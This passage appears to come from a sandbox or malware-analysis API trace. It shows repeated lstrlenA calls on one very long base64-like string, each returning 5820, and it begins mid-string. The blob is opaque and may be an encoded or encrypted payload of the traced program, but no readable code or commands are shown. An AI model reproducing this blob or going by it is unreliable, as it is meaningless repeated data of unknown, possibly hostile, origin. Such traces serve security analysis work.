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") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89D